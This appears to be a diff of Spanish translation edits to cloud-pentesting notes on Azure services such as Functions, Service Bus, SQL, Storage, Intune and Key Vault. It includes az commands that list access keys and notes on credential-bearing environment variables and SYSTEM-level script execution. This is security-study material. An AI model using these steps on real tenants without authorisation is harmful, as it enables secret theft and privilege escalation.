Es posible configurar variables de entorno dentro de una aplicación, que podrían contener información sensible. Además, por defecto se crean las variables de entorno **`AzureWebJobsStorage`** y **`WEBSITE_CONTENTAZUREFILECONNECTIONSTRING`** (entre otras). Estas son especialmente interesantes porque **contienen la clave de la cuenta para controlar con PERMISOS COMPLETOS la cuenta de almacenamiento que contiene los datos de la aplicación**. Estas configuraciones también son necesarias para ejecutar el código desde la Cuenta de Almacenamiento.
Es posible configurar variables de entorno dentro de una aplicación, que podrían contener información sensible. Además, por defecto se crean las variables de entorno **`AzureWebJobsStorage`** y **`WEBSITE_CONTENTAZUREFILECONNECTIONSTRING`** (entre otras). Estas son especialmente interesantes porque **contienen la clave de la cuenta para controlar con PERMISOS COMPLETOS la cuenta de almacenamiento que contiene los datos de la aplicación**. Estas configuraciones también son necesarias para ejecutar el código desde la cuenta de almacenamiento.
Estas variables de entorno o parámetros de configuración también controlan cómo la Function ejecuta el código, por ejemplo, si existe **`WEBSITE_RUN_FROM_PACKAGE`**, indicará la URL donde se encuentra el código de la aplicación.
Estas variables de entorno o parámetros de configuración también controlan cómo la Function ejecuta el código, por ejemplo, si **`WEBSITE_RUN_FROM_PACKAGE`** existe, indicará la URL donde se encuentra el código de la aplicación.
### **Sandbox de Funciones**
@@ -69,12 +69,12 @@ Es posible usar los [**scripts PEASS**](https://github.com/peass-ng/PEASS-ng) pa
{% embed url="https://book.hacktricks.xyz/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf#azure-vm" %}
Ten en cuenta que necesitas encontrar una manera de **verificar todas las Identidades Gestionadas que una función tiene adjuntas** ya que si no lo indicas, el punto de metadatos **solo usará la predeterminada** (consulta el enlace anterior para más información).
Ten en cuenta que necesitas encontrar una manera de **verificar todas las Identidades Gestionadas que una función tiene adjuntas**, ya que si no lo indicas, el punto de metadatos **solo usará la predeterminada** (consulta el enlace anterior para más información).
## Claves de Acceso
> [!NOTE]
> Ten en cuenta que no hay permisos RBAC para dar acceso a los usuarios para invocar las funciones. La **invocación de funciones depende del desencadenador** seleccionado cuando se creó y si se seleccionó un Desencadenador HTTP, podría ser necesario usar una **clave de acceso**.
> Ten en cuenta que no hay permisos RBAC para dar acceso a los usuarios para invocar las funciones. La **invocación de funciones depende del desencadenador** seleccionado cuando se creó y si se seleccionó un desencadenador HTTP, podría ser necesario usar una **clave de acceso**.
Al crear un endpoint dentro de una función usando un **desencadenador HTTP**, es posible indicar el **nivel de autorización de clave de acceso** necesario para activar la función. Hay tres opciones disponibles:
@@ -96,7 +96,7 @@ Al crear un endpoint dentro de una función usando un **desencadenador HTTP**, e
### Autenticación Básica
Al igual que en los App Services, las Functions también admiten autenticación básica para conectarse a **SCM** y **FTP** para desplegar código usando un **nombre de usuario y contraseña en una URL** proporcionada por Azure. Más información al respecto en:
Al igual que en App Services, las Functions también admiten autenticación básica para conectarse a **SCM** y **FTP** para desplegar código usando un **nombre de usuario y contraseña en una URL** proporcionada por Azure. Más información al respecto en:
{{#ref}}
az-app-service.md
@@ -104,7 +104,7 @@ az-app-service.md
### Despliegues Basados en Github
Cuando se genera una función desde un repositorio de Github, la consola web de Azure permite **crear automáticamente un flujo de trabajo de Github en un repositorio específico**, de modo que cada vez que se actualice este repositorio, se actualice el código de la función. De hecho, el yaml de Github Action para una función de python se ve así:
Cuando se genera una función desde un repositorio de Github, la consola web de Azure permite **crear automáticamente un flujo de trabajo de Github en un repositorio específico** para que cada vez que se actualice este repositorio, se actualice el código de la función. De hecho, el yaml de Github Action para una función de python se ve así:
<details>

View File

@@ -11,7 +11,7 @@ Logic Apps proporciona un diseñador visual para crear flujos de trabajo con una
### Ejemplos
- **Automatización de Pipelines de Datos**: Logic Apps puede automatizar **procesos de transferencia y transformación de datos** en combinación con Azure Data Factory. Esto es útil para crear pipelines de datos escalables y confiables que mueven y transforman datos entre varios almacenes de datos, como Azure SQL Database y Azure Blob Storage, ayudando en operaciones de análisis e inteligencia empresarial.
- **Integración con Azure Functions**: Logic Apps puede trabajar junto a Azure Functions para desarrollar **aplicaciones sofisticadas impulsadas por eventos que escalan según sea necesario** e integran sin problemas con otros servicios de Azure. Un caso de uso de ejemplo es usar un Logic App para activar una Azure Function en respuesta a ciertos eventos, como cambios en una cuenta de Azure Storage, permitiendo un procesamiento de datos dinámico.
- **Integración con Azure Functions**: Logic Apps puede trabajar junto a Azure Functions para desarrollar **aplicaciones sofisticadas impulsadas por eventos que escalan según sea necesario** e integran sin problemas con otros servicios de Azure. Un caso de uso de ejemplo es utilizar un Logic App para activar una Azure Function en respuesta a ciertos eventos, como cambios en una cuenta de Azure Storage, permitiendo un procesamiento de datos dinámico.
### Visualizar un LogicAPP

View File

@@ -4,7 +4,7 @@
## Información Básica
Azure Queue Storage es un servicio en la plataforma de nube de Microsoft Azure diseñado para la cola de mensajes entre componentes de la aplicación, **permitiendo la comunicación asíncrona y desacoplamiento**. Te permite almacenar un número ilimitado de mensajes, cada uno de hasta 64 KB de tamaño, y soporta operaciones como crear y eliminar colas, agregar, recuperar, actualizar y eliminar mensajes, así como gestionar metadatos y políticas de acceso. Aunque típicamente procesa mensajes en un orden de primero en entrar, primero en salir (FIFO), no se garantiza un FIFO estricto.
Azure Queue Storage es un servicio en la plataforma de nube Azure de Microsoft diseñado para la **comunicación asíncrona y desacoplamiento** entre componentes de aplicación. Permite almacenar un número ilimitado de mensajes, cada uno de hasta 64 KB de tamaño, y soporta operaciones como crear y eliminar colas, agregar, recuperar, actualizar y eliminar mensajes, así como gestionar metadatos y políticas de acceso. Aunque típicamente procesa mensajes en un orden de primero en entrar, primero en salir (FIFO), no se garantiza un FIFO estricto.
### Enumeración

View File

@@ -6,7 +6,7 @@
Azure Service Bus es un **servicio de mensajería** basado en la nube diseñado para habilitar una **comunicación confiable entre diferentes partes de una aplicación o aplicaciones separadas**. Actúa como un intermediario seguro, asegurando que los mensajes se entreguen de manera segura, incluso si el remitente y el receptor no están operando simultáneamente. Al desacoplar sistemas, permite que las aplicaciones funcionen de manera independiente mientras aún intercambian datos o instrucciones. Es particularmente útil para escenarios que requieren balanceo de carga entre múltiples trabajadores, entrega confiable de mensajes o coordinación compleja, como procesar tareas en orden o gestionar el acceso de manera segura.
### Key Concepts
### Conceptos Clave
1. **Colas:** su propósito es almacenar mensajes hasta que el receptor esté listo.
- Los mensajes están ordenados, tienen marca de tiempo y se almacenan de manera duradera.
@@ -16,15 +16,15 @@ Azure Service Bus es un **servicio de mensajería** basado en la nube diseñado
- Múltiples suscripciones independientes reciben copias de los mensajes.
- Las suscripciones pueden tener reglas/filtros para controlar la entrega o agregar metadatos.
- Soporta comunicación de muchos a muchos.
3. **Espacios de nombres:** Un contenedor para todos los componentes de mensajería, colas y temas, es como tu propia porción de un poderoso clúster de Azure, proporcionando capacidad dedicada y opcionalmente abarcando tres zonas de disponibilidad.
3. **Espacios de Nombres:** Un contenedor para todos los componentes de mensajería, colas y temas, es como tu propia porción de un poderoso clúster de Azure, proporcionando capacidad dedicada y opcionalmente abarcando tres zonas de disponibilidad.
### Advance Features
### Características Avanzadas
Algunas características avanzadas son:
- **Sesiones de Mensajes**: Asegura el procesamiento FIFO y soporta patrones de solicitud-respuesta.
- **Reenvío Automático**: Transfiere mensajes entre colas o temas en el mismo espacio de nombres.
- **Manejo de Mensajes No Entregables**: Captura mensajes no entregables para revisión.
- **Cartas Muertas**: Captura mensajes no entregables para revisión.
- **Entrega Programada**: Retrasa el procesamiento de mensajes para tareas futuras.
- **Diferimiento de Mensajes**: Pospone la recuperación de mensajes hasta que esté listo.
- **Transacciones**: Agrupa operaciones en ejecución atómica.
@@ -33,23 +33,23 @@ Algunas características avanzadas son:
- **Detección de Duplicados**: Elimina mensajes duplicados durante reenvíos.
- **Eliminación por Lotes**: Elimina en bloque mensajes expirados o innecesarios.
### Authorization-Rule / SAS Policy
### Regla de Autorización / Política SAS
Las Políticas SAS definen los permisos de acceso para las entidades de Azure Service Bus, espacio de nombres (el más importante), colas y temas. Cada política tiene los siguientes componentes:
Las Políticas SAS definen los permisos de acceso para las entidades del espacio de nombres de Azure Service Bus (el más importante), colas y temas. Cada política tiene los siguientes componentes:
- **Permisos**: Casillas de verificación para especificar niveles de acceso:
- Administrar: Otorga control total sobre la entidad, incluyendo configuración y gestión de permisos.
- Administrar: Otorga control total sobre la entidad, incluyendo la configuración y gestión de permisos.
- Enviar: Permite enviar mensajes a la entidad.
- Escuchar: Permite recibir mensajes de la entidad.
- **Claves Primarias y Secundarias**: Estas son claves criptográficas utilizadas para generar tokens seguros para autenticar el acceso.
- **Cadenas de Conexión Primarias y Secundarias**: Cadenas de conexión preconfiguradas que incluyen el punto final y la clave para un uso fácil en aplicaciones.
- **ID de Política SAS ARM**: La ruta del Administrador de Recursos de Azure (ARM) a la política para identificación programática.
### NameSpace
### Espacio de Nombres
sku, regla de autorización,
### Enumeration
### Enumeración
```bash
# Queue Enumeration
az servicebus queue list --resource-group <MyResourceGroup> --namespace-name <MyNamespace>
@@ -77,7 +77,7 @@ az servicebus queue authorization-rule list --resource-group <MyResourceGroup> -
az servicebus topic authorization-rule list --resource-group <MyResourceGroup> --namespace-name <MyNamespace> --topic-name <MyTopic>
az servicebus namespace authorization-rule keys list --resource-group <MyResourceGroup> --namespace-name <MyNamespace> --name <MyAuthRule>
```
### Escalación de Privilegios
### Escalamiento de Privilegios
{{#ref}}
../az-privilege-escalation/az-servicebus-privesc.md

View File

@@ -9,7 +9,7 @@ Azure SQL es una familia de productos gestionados, seguros e inteligentes que ut
Azure SQL consta de tres ofertas principales:
1. **Azure SQL Database**: Este es un **servicio de base de datos completamente gestionado**, que te permite alojar bases de datos individuales en la nube de Azure. Ofrece inteligencia incorporada que aprende tus patrones únicos de base de datos y proporciona recomendaciones personalizadas y ajuste automático.
2. **Azure SQL Managed Instance**: Esto es para implementaciones a gran escala, de toda la instancia de SQL Server. Proporciona casi un 100% de compatibilidad con el motor de base de datos SQL Server en las instalaciones más recientes (Edición Empresarial), que ofrece una implementación nativa de red virtual (VNet) que aborda preocupaciones comunes de seguridad, y un modelo de negocio favorable para los clientes de SQL Server en las instalaciones.
2. **Azure SQL Managed Instance**: Esto es para implementaciones a gran escala, de toda la instancia de SQL Server. Proporciona casi un 100% de compatibilidad con el motor de base de datos SQL Server en las instalaciones (Edición Enterprise), que ofrece una implementación nativa de red virtual (VNet) que aborda preocupaciones comunes de seguridad, y un modelo de negocio favorable para los clientes de SQL Server en las instalaciones.
3. **Azure SQL Server en Azure VMs**: Esto es Infraestructura como Servicio (IaaS) y es mejor para migraciones donde deseas **control sobre el sistema operativo y la instancia de SQL Server**, como si fuera un servidor que se ejecuta en las instalaciones.
### Azure SQL Database
@@ -20,7 +20,7 @@ Azure SQL consta de tres ofertas principales:
- **Siempre Actualizado**: Se ejecuta en la última versión estable de SQL Server y recibe nuevas características y parches automáticamente.
- **Capacidades PaaS**: Alta disponibilidad, copias de seguridad y actualizaciones integradas.
- **Flexibilidad de Datos**: Soporta datos relacionales y no relacionales (por ejemplo, gráficos, JSON, espaciales y XML).
- **Flexibilidad de Datos**: Soporta datos relacionales y no relacionales (por ejemplo, gráficos, JSON, espacial y XML).
#### Modelos de Compra / Niveles de Servicio
@@ -31,25 +31,25 @@ Azure SQL consta de tres ofertas principales:
#### Modelos de Implementación
Azure SQL Database admite opciones de implementación flexibles para satisfacer diversas necesidades:
Azure SQL Database soporta opciones de implementación flexibles para satisfacer diversas necesidades:
- **Base de Datos Única**:
- Una base de datos completamente aislada con sus propios recursos dedicados.
- Ideal para microservicios o aplicaciones que requieren una única fuente de datos.
- **Grupo Elástico**:
- Permite que múltiples bases de datos compartan recursos dentro de un grupo.
- Rentable para aplicaciones con patrones de uso fluctuantes en múltiples bases de datos.
- Eficiente en costos para aplicaciones con patrones de uso fluctuantes a través de múltiples bases de datos.
#### Rendimiento escalable y grupos
- **Bases de Datos Únicas**: Cada base de datos está aislada y tiene sus propios recursos dedicados de computación, memoria y almacenamiento. Los recursos se pueden escalar dinámicamente (hacia arriba o hacia abajo) sin tiempo de inactividad (1128 vCores, 32 GB4 TB de almacenamiento, y hasta 128 TB).
- **Grupos Elásticos**: Comparte recursos entre múltiples bases de datos en un grupo para maximizar la eficiencia y ahorrar costos. Los recursos también se pueden escalar dinámicamente para todo el grupo.
- **Flexibilidad de Nivel de Servicio**: Comienza pequeño con una base de datos única en el nivel de Propósito General. Actualiza a niveles Críticos para Negocios o Hiperescalables a medida que crecen las necesidades.
- **Bases de Datos Únicas**: Cada base de datos está aislada y tiene sus propios recursos dedicados de computación, memoria y almacenamiento. Los recursos pueden escalarse dinámicamente (hacia arriba o hacia abajo) sin tiempo de inactividad (1128 vCores, 32 GB4 TB de almacenamiento, y hasta 128 TB).
- **Grupos Elásticos**: Comparte recursos entre múltiples bases de datos en un grupo para maximizar la eficiencia y ahorrar costos. Los recursos también pueden escalarse dinámicamente para todo el grupo.
- **Flexibilidad de Nivel de Servicio**: Comienza pequeño con una base de datos única en el nivel de Propósito General. Mejora a niveles Críticos para Negocios o Hyperscale a medida que crecen las necesidades.
- **Opciones de Escalado**: Escalado Dinámico o Alternativas de Autoscalado.
#### Monitoreo y Optimización Integrados
- **Query Store**: Realiza un seguimiento de problemas de rendimiento, identifica los principales consumidores de recursos y ofrece recomendaciones prácticas.
- **Query Store**: Rastrea problemas de rendimiento, identifica los principales consumidores de recursos y ofrece recomendaciones prácticas.
- **Ajuste Automático**: Optimiza proactivamente el rendimiento con características como indexación automática y correcciones de planes de consulta.
- **Integración de Telemetría**: Soporta monitoreo a través de Azure Monitor, Event Hubs o Azure Storage para obtener información personalizada.
@@ -58,11 +58,11 @@ Azure SQL Database admite opciones de implementación flexibles para satisfacer
- **Copias de seguridad automáticas**: SQL Database realiza automáticamente copias de seguridad completas, diferenciales y de registro de transacciones de las bases de datos.
- **Restauración a un Punto en el Tiempo**: Recupera bases de datos a cualquier estado anterior dentro del período de retención de copias de seguridad.
- **Geo-Redundancia**
- **Grupos de Conmutación por Error**: Simplifica la recuperación ante desastres agrupando bases de datos para conmutación por error automática entre regiones.
- **Grupos de Conmutación por Error**: Simplifica la recuperación ante desastres agrupando bases de datos para conmutación automática entre regiones.
### Azure SQL Managed Instance
**Azure SQL Managed Instance** es un motor de base de datos como Servicio (PaaS) que ofrece casi un 100% de compatibilidad con SQL Server y maneja automáticamente la mayoría de las tareas de gestión (por ejemplo, actualización, parches, copias de seguridad, monitoreo). Proporciona una solución en la nube para migrar bases de datos de SQL Server en las instalaciones con cambios mínimos.
**Azure SQL Managed Instance** es un motor de base de datos como Servicio (PaaS) que ofrece casi un 100% de compatibilidad con SQL Server y maneja automáticamente la mayoría de las tareas de gestión (por ejemplo, actualizaciones, parches, copias de seguridad, monitoreo). Proporciona una solución en la nube para migrar bases de datos de SQL Server en las instalaciones con cambios mínimos.
#### Niveles de Servicio
@@ -72,7 +72,7 @@ Azure SQL Database admite opciones de implementación flexibles para satisfacer
#### Características de Seguridad Avanzadas
* **Protección contra Amenazas**: Alertas de Protección Avanzada contra Amenazas para actividades sospechosas y ataques de inyección SQL. Auditoría para rastrear y registrar eventos de base de datos para cumplimiento.
* **Control de Acceso**: Autenticación de Microsoft Entra para gestión centralizada de identidades. Seguridad a Nivel de Fila y Enmascaramiento de Datos Dinámico para control de acceso granular.
* **Control de Acceso**: Autenticación de Microsoft Entra para gestión centralizada de identidades. Seguridad a Nivel de Fila y Enmascaramiento Dinámico de Datos para control de acceso granular.
* **Copias de Seguridad**: Copias de seguridad automatizadas y manuales con capacidad de restauración a un punto en el tiempo.
### Azure SQL Virtual Machines
@@ -83,9 +83,9 @@ Azure SQL Database admite opciones de implementación flexibles para satisfacer
**Copia de Seguridad Automatizada**: Programa copias de seguridad para bases de datos SQL.
**Patching Automático**: Automatiza la instalación de actualizaciones de Windows y SQL Server durante una ventana de mantenimiento.
**Integración con Azure Key Vault**: Configura automáticamente Key Vault para máquinas virtuales de SQL Server.
**Integración con Azure Key Vault**: Configura automáticamente Key Vault para VMs de SQL Server.
**Integración con Defender for Cloud**: Ver recomendaciones de Defender for SQL en el portal.
**Flexibilidad de Versión/Edición**: Cambia los metadatos de versión o edición de SQL Server sin redeplegar la máquina virtual.
**Flexibilidad de Versión/Edición**: Cambia la versión o metadatos de edición de SQL Server sin redeplegar la VM.
#### Características de Seguridad
@@ -227,7 +227,7 @@ $Connection.Close()
invoke-sql 'Select Distinct TABLE_NAME From information_schema.TABLES;'
```
Puedes usar sqlcmd para acceder a la base de datos. Es importante saber si el servidor permite conexiones públicas `az sql server show --name <server-name> --resource-group <resource-group>`, y también si la regla del firewall permite que nuestra IP acceda:
También puedes usar sqlcmd para acceder a la base de datos. Es importante saber si el servidor permite conexiones públicas `az sql server show --name <server-name> --resource-group <resource-group>`, y también si la regla del firewall permite que nuestra IP acceda:
```powershell
sqlcmd -S <sql-server>.database.windows.net -U <server-user> -P <server-passworkd> -d <database>
```

View File

@@ -4,7 +4,7 @@
## Información Básica
Las Cuentas de Almacenamiento de Azure son servicios fundamentales en Microsoft Azure que proporcionan almacenamiento en la nube **escalable, seguro y altamente disponible para varios tipos de datos**, incluidos blobs (objetos grandes binarios), archivos, colas y tablas. Sirven como contenedores que agrupan estos diferentes servicios de almacenamiento bajo un único espacio de nombres para una fácil gestión.
Las Cuentas de Almacenamiento de Azure son servicios fundamentales en Microsoft Azure que proporcionan almacenamiento en la nube **escalable, seguro y altamente disponible para varios tipos de datos**, incluidos blobs (objetos grandes binarios), archivos, colas y tablas. Sirven como contenedores que agrupan estos diferentes servicios de almacenamiento bajo un único espacio de nombres para una gestión fácil.
**Opciones de configuración principales**:
@@ -24,7 +24,7 @@ Las Cuentas de Almacenamiento de Azure son servicios fundamentales en Microsoft
**Opciones de Almacenamiento de Blobs**:
- **Permitir replicación entre inquilinos**.
- **Nivel de acceso**: Caliente (datos de acceso frecuente), Frío y Congelado (datos de acceso raro).
- **Nivel de acceso**: Caliente (datos de acceso frecuente), Frío y Frío (datos de acceso raro).
**Opciones de Red**:
@@ -37,11 +37,11 @@ Las Cuentas de Almacenamiento de Azure son servicios fundamentales en Microsoft
**Opciones de protección de datos**:
- **Restauración en el tiempo para contenedores**: Permite restaurar contenedores a un estado anterior.
- Requiere que la versionado, el cambio de alimentación y la eliminación suave de blobs estén habilitados.
- Requiere que se habiliten la versionado, el cambio de alimentación y la eliminación suave de blobs.
- **Habilitar eliminación suave para blobs**: Permite un período de retención en días para blobs eliminados (incluso sobrescritos).
- **Habilitar eliminación suave para contenedores**: Permite un período de retención en días para contenedores eliminados.
- **Habilitar eliminación suave para comparticiones de archivos**: Permite un período de retención en días para comparticiones de archivos eliminadas.
- **Habilitar versionado para blobs**: Mantener versiones anteriores de sus blobs.
- **Habilitar versionado para blobs**: Mantener versiones anteriores de tus blobs.
- **Habilitar cambio de alimentación de blobs**: Mantener registros de creación, modificación y eliminación de cambios en blobs.
- **Habilitar soporte de inmutabilidad a nivel de versión**: Permite establecer una política de retención basada en el tiempo a nivel de cuenta que se aplicará a todas las versiones de blobs.
- El soporte de inmutabilidad a nivel de versión y la restauración en el tiempo para contenedores no se pueden habilitar simultáneamente.
@@ -49,7 +49,7 @@ Las Cuentas de Almacenamiento de Azure son servicios fundamentales en Microsoft
**Opciones de configuración de cifrado**:
- **Tipo de cifrado**: Es posible usar claves gestionadas por Microsoft (MMK) o claves gestionadas por el cliente (CMK).
- **Habilitar cifrado de infraestructura**: Permite cifrar los datos dos veces "para mayor seguridad".
- **Habilitar cifrado de infraestructura**: Permite cifrar los datos "para más seguridad".
### Puntos finales de almacenamiento
@@ -89,7 +89,7 @@ Es posible [**generar Claves Compartidas**](https://learn.microsoft.com/en-us/re
> Ten en cuenta que la parte `CanonicalizedResource` representa el recurso de servicios de almacenamiento (URI). Y si alguna parte de la URL está codificada, también debe estar codificada dentro de `CanonicalizedResource`.
> [!NOTE]
> Esto es **utilizado por defecto por `az` cli** para autenticar solicitudes. Para hacer que use las credenciales del principal de Entra ID, indica el parámetro `--auth-mode login`.
> Esto es **usado por defecto por `az` cli** para autenticar solicitudes. Para hacer que use las credenciales del principal de Entra ID, indica el parámetro `--auth-mode login`.
- Es posible generar una **clave compartida para servicios de blobs, colas y archivos** firmando la siguiente información:
```bash
@@ -142,16 +142,16 @@ x-ms-date: Fri, 26 Jun 2015 23:39:12 GMT
Authorization: SharedKey myaccount:ctzMq410TV3wS7upTBcunJTDLEJwMAZuFPfr0mrrA08=
Content-Length: 0
```
### **Shared Access Signature** (SAS)
### **Firma de Acceso Compartido** (SAS)
Las Firmas de Acceso Compartido (SAS) son URLs seguras y limitadas en el tiempo que **otorgan permisos específicos para acceder a recursos** en una cuenta de Almacenamiento de Azure sin exponer las claves de acceso de la cuenta. Mientras que las claves de acceso proporcionan acceso administrativo completo a todos los recursos, SAS permite un control granular al especificar permisos (como lectura o escritura) y definir un tiempo de expiración.
Las Firmas de Acceso Compartido (SAS) son URLs seguras y limitadas en el tiempo que **otorgan permisos específicos para acceder a recursos** en una cuenta de Azure Storage sin exponer las claves de acceso de la cuenta. Mientras que las claves de acceso proporcionan acceso administrativo completo a todos los recursos, SAS permite un control granular al especificar permisos (como lectura o escritura) y definir un tiempo de expiración.
#### Tipos de SAS
- **SAS de delegación de usuario**: Esto se crea a partir de un **principal de Entra ID** que firmará el SAS y delegará los permisos del usuario al SAS. Solo se puede usar con **almacenamiento de blobs y data lake** ([docs](https://learn.microsoft.com/en-us/rest/api/storageservices/create-user-delegation-sas)). Es posible **revocar** todos los SAS delegados generados por el usuario.
- Incluso si es posible generar un SAS de delegación con "más" permisos de los que tiene el usuario. Sin embargo, si el principal no los tiene, no funcionará (sin privesc).
- **SAS de servicio**: Esto se firma utilizando una de las **claves de acceso** de la cuenta de almacenamiento. Se puede usar para otorgar acceso a recursos específicos en un solo servicio de almacenamiento. Si la clave se renueva, el SAS dejará de funcionar.
- **SAS de cuenta**: También se firma con una de las **claves de acceso** de la cuenta de almacenamiento. Otorga acceso a recursos a través de los servicios de una cuenta de almacenamiento (Blob, Queue, Table, File) y puede incluir operaciones a nivel de servicio.
- **SAS de delegación de usuario**: Esta se crea a partir de un **principal de Entra ID** que firmará la SAS y delegará los permisos del usuario a la SAS. Solo se puede usar con **blob y almacenamiento de data lake** ([docs](https://learn.microsoft.com/en-us/rest/api/storageservices/create-user-delegation-sas)). Es posible **revocar** todas las SAS delegadas generadas por el usuario.
- Aunque es posible generar una SAS de delegación con "más" permisos de los que tiene el usuario. Sin embargo, si el principal no los tiene, no funcionará (sin privesc).
- **SAS de servicio**: Esta se firma utilizando una de las **claves de acceso** de la cuenta de almacenamiento. Se puede usar para otorgar acceso a recursos específicos en un solo servicio de almacenamiento. Si la clave se renueva, la SAS dejará de funcionar.
- **SAS de cuenta**: También se firma con una de las **claves de acceso** de la cuenta de almacenamiento. Otorga acceso a recursos a través de los servicios de la cuenta de almacenamiento (Blob, Queue, Table, File) y puede incluir operaciones a nivel de servicio.
Una URL SAS firmada por una **clave de acceso** se ve así:
@@ -163,19 +163,19 @@ Una URL SAS firmada como **delegación de usuario** se ve así:
Nota algunos **parámetros http**:
- El parámetro **`se`** indica la **fecha de expiración** del SAS
- El parámetro **`sp`** indica los **permisos** del SAS
- El **`sig`** es la **firma** que valida el SAS
- El parámetro **`se`** indica la **fecha de expiración** de la SAS
- El parámetro **`sp`** indica los **permisos** de la SAS
- La **`sig`** es la **firma** que valida la SAS
#### Permisos SAS
#### Permisos de SAS
Al generar un SAS, es necesario indicar los permisos que debe otorgar. Dependiendo del objeto sobre el que se genera el SAS, se pueden incluir diferentes permisos. Por ejemplo:
Al generar una SAS, es necesario indicar los permisos que debería otorgar. Dependiendo del objeto sobre el que se genera la SAS, se pueden incluir diferentes permisos. Por ejemplo:
- (a)dd, (c)rear, (d)eliminar, (e)jecutar, (f)iltrar_por_etiquetas, (i)nstaurar_política_de_inmutabilidad, (l)istar, (m)over, (r)ead, (t)ag, (w)rite, (x)eliminar_versión_anterior, (y)eliminar_permanentemente
## Soporte SFTP para Azure Blob Storage
Azure Blob Storage ahora admite el Protocolo de Transferencia de Archivos SSH (SFTP), lo que permite la transferencia y gestión segura de archivos directamente a Blob Storage sin requerir soluciones personalizadas o productos de terceros.
Azure Blob Storage ahora soporta el Protocolo de Transferencia de Archivos SSH (SFTP), permitiendo la transferencia y gestión segura de archivos directamente a Blob Storage sin requerir soluciones personalizadas o productos de terceros.
### Características Clave
@@ -184,7 +184,7 @@ Azure Blob Storage ahora admite el Protocolo de Transferencia de Archivos SSH (S
- Contraseñas generadas por Azure
- Pares de claves SSH públicas y privadas
- Permisos Granulares: Se pueden asignar permisos como Leer, Escribir, Eliminar y Listar a usuarios locales para hasta 100 contenedores.
- Consideraciones de Red: Las conexiones SFTP se realizan a través del puerto 22. Azure admite configuraciones de red como firewalls, puntos finales privados o redes virtuales para asegurar el tráfico SFTP.
- Consideraciones de Red: Las conexiones SFTP se realizan a través del puerto 22. Azure soporta configuraciones de red como firewalls, puntos finales privados o redes virtuales para asegurar el tráfico SFTP.
### Requisitos de Configuración

View File

@@ -12,17 +12,17 @@ No **hay un mecanismo de respaldo incorporado** para el almacenamiento de tablas
#### **PartitionKey**
- El **PartitionKey agrupa entidades en particiones lógicas**. Las entidades con el mismo PartitionKey se almacenan juntas, lo que mejora el rendimiento de las consultas y la escalabilidad.
- La **PartitionKey agrupa entidades en particiones lógicas**. Las entidades con la misma PartitionKey se almacenan juntas, lo que mejora el rendimiento de las consultas y la escalabilidad.
- Ejemplo: En una tabla que almacena datos de empleados, `PartitionKey` podría representar un departamento, por ejemplo, `"HR"` o `"IT"`.
#### **RowKey**
- La **RowKey es el identificador único** para una entidad dentro de una partición. Cuando se combina con el PartitionKey, asegura que cada entidad en la tabla tenga un identificador único a nivel global.
- La **RowKey es el identificador único** para una entidad dentro de una partición. Cuando se combina con la PartitionKey, asegura que cada entidad en la tabla tenga un identificador único a nivel global.
- Ejemplo: Para la partición `"HR"`, `RowKey` podría ser un ID de empleado, por ejemplo, `"12345"`.
#### **Otras Propiedades (Propiedades Personalizadas)**
- Además del PartitionKey y RowKey, una entidad puede tener **propiedades personalizadas adicionales para almacenar datos**. Estas son definidas por el usuario y actúan como columnas en una base de datos tradicional.
- Además de la PartitionKey y RowKey, una entidad puede tener **propiedades personalizadas adicionales para almacenar datos**. Estas son definidas por el usuario y actúan como columnas en una base de datos tradicional.
- Las propiedades se almacenan como **pares clave-valor**.
- Ejemplo: `Name`, `Age`, `Title` podrían ser propiedades personalizadas para un empleado.
@@ -82,7 +82,7 @@ Get-AzStorageTable -Context (Get-AzStorageAccount -Name <mystorageaccount> -Reso
## Escalación de Privilegios
Igual que la escalación de privilegios de almacenamiento:
Igual que la privesc de almacenamiento:
{{#ref}}
../az-privilege-escalation/az-storage-privesc.md

View File

@@ -8,7 +8,7 @@ Microsoft Intune está diseñado para simplificar el proceso de **gestión de ap
## Nube -> Local
Un usuario con rol de **Administrador Global** o **Administrador de Intune** puede ejecutar **scripts de PowerShell** en cualquier **dispositivo Windows** inscrito.\
Un usuario con rol de **Administrador Global** o **Administrador de Intune** puede ejecutar **scripts de PowerShell** en cualquier dispositivo **Windows** inscrito.\
El **script** se ejecuta con **privilegios** de **SYSTEM** en el dispositivo solo una vez si no cambia, y desde Intune **no es posible ver la salida** del script.
```powershell
Get-AzureADGroup -Filter "DisplayName eq 'Intune Administrators'"

View File

@@ -4,9 +4,9 @@
## Información Básica
**Azure Key Vault** es un servicio en la nube proporcionado por Microsoft Azure para almacenar y gestionar de forma segura información sensible como **secretos, claves, certificados y contraseñas**. Actúa como un repositorio centralizado, ofreciendo acceso seguro y control detallado utilizando Azure Active Directory (Azure AD). Desde una perspectiva de seguridad, Key Vault proporciona **protección de módulo de seguridad de hardware (HSM)** para claves criptográficas, asegura que los secretos estén cifrados tanto en reposo como en tránsito, y ofrece una gestión de acceso robusta a través de **control de acceso basado en roles (RBAC)** y políticas. También cuenta con **registro de auditoría**, integración con Azure Monitor para rastrear el acceso, y rotación automática de claves para reducir el riesgo de exposición prolongada de claves.
**Azure Key Vault** es un servicio en la nube proporcionado por Microsoft Azure para almacenar y gestionar de forma segura información sensible como **secretos, claves, certificados y contraseñas**. Actúa como un repositorio centralizado, ofreciendo acceso seguro y control detallado utilizando Azure Active Directory (Azure AD). Desde una perspectiva de seguridad, Key Vault proporciona **protección de módulo de seguridad de hardware (HSM)** para claves criptográficas, asegura que los secretos estén encriptados tanto en reposo como en tránsito, y ofrece una gestión de acceso robusta a través de **control de acceso basado en roles (RBAC)** y políticas. También cuenta con **registro de auditoría**, integración con Azure Monitor para rastrear el acceso, y rotación automática de claves para reducir el riesgo de exposición prolongada de claves.
Consulte [Resumen de la API REST de Azure Key Vault](https://learn.microsoft.com/en-us/azure/key-vault/general/about-keys-secrets-certificates) para obtener detalles completos.
Consulte [Azure Key Vault REST API overview](https://learn.microsoft.com/en-us/azure/key-vault/general/about-keys-secrets-certificates) para obtener detalles completos.
Según la [**documentación**](https://learn.microsoft.com/en-us/azure/key-vault/general/basic-concepts), los Vaults admiten el almacenamiento de claves, secretos y certificados respaldados por software y HSM. Los grupos de HSM administrados solo admiten claves respaldadas por HSM.
@@ -48,7 +48,7 @@ Para analizar y gestionar estas configuraciones, puede utilizar el **Azure CLI**
```bash
az keyvault show --name name-vault --query networkAcls
```
El comando anterior mostrará la **configuración del firewall de `name-vault`**, incluyendo rangos de IP habilitados y políticas para tráfico denegado.
El comando anterior mostrará la configuración del **firewall de `name-vault`**, incluyendo rangos de IP habilitados y políticas para tráfico denegado.
Además, es posible crear un **punto final privado** para permitir una conexión privada a un vault.

View File

